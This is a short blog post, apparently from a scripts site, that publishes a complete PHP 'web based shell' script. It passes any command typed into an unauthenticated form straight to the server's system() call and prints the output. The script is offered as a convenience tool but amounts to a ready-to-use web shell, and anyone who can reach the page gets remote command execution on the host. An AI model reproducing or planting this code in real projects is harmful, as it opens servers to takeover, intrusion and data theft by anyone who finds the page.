TPCS published a new PHP script today. This script will allow you to run shell (system) commands via a web interface if you run an Apache server (Linux).<?php
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $svr = getenv(SERVER_NAME);
else $svr = $_SERVER['SERVER_NAME'];
?>
<html>
<head>
<title>Published at scripts.tropicalpcsolutions.com</title>
</head>
<body>
<form enctype="multipart/form-data" method="POST">
<br>
[webshell@<?php echo $svr ?> /]#
<input type="text" name="cmd" value="">
<input type="submit" value="Enter">
</form>
<br>
<hr width="75%" align="left">
<br>
</body>
</html>
<?php
$cmd = $_POST['cmd']; if($cmd) {
echo '<pre>'; echo $last_line = system($cmd); echo '</pre><br>';
}
?>
Direct link: Web based shell commands
Thanks and take it easy,
Dave from TPCS
You can now obtain our example scripts and/or vote for them at Hotscripts. To visit Hotscripts click here. |
PHP web based shell interface script
Posted by Anonymous | 7:18 PM | code , privacy , security | 0 comments »
Bookmark / Share:
|
Do you have a thought about this article? Post a comment and tell us about it!
Post a Comment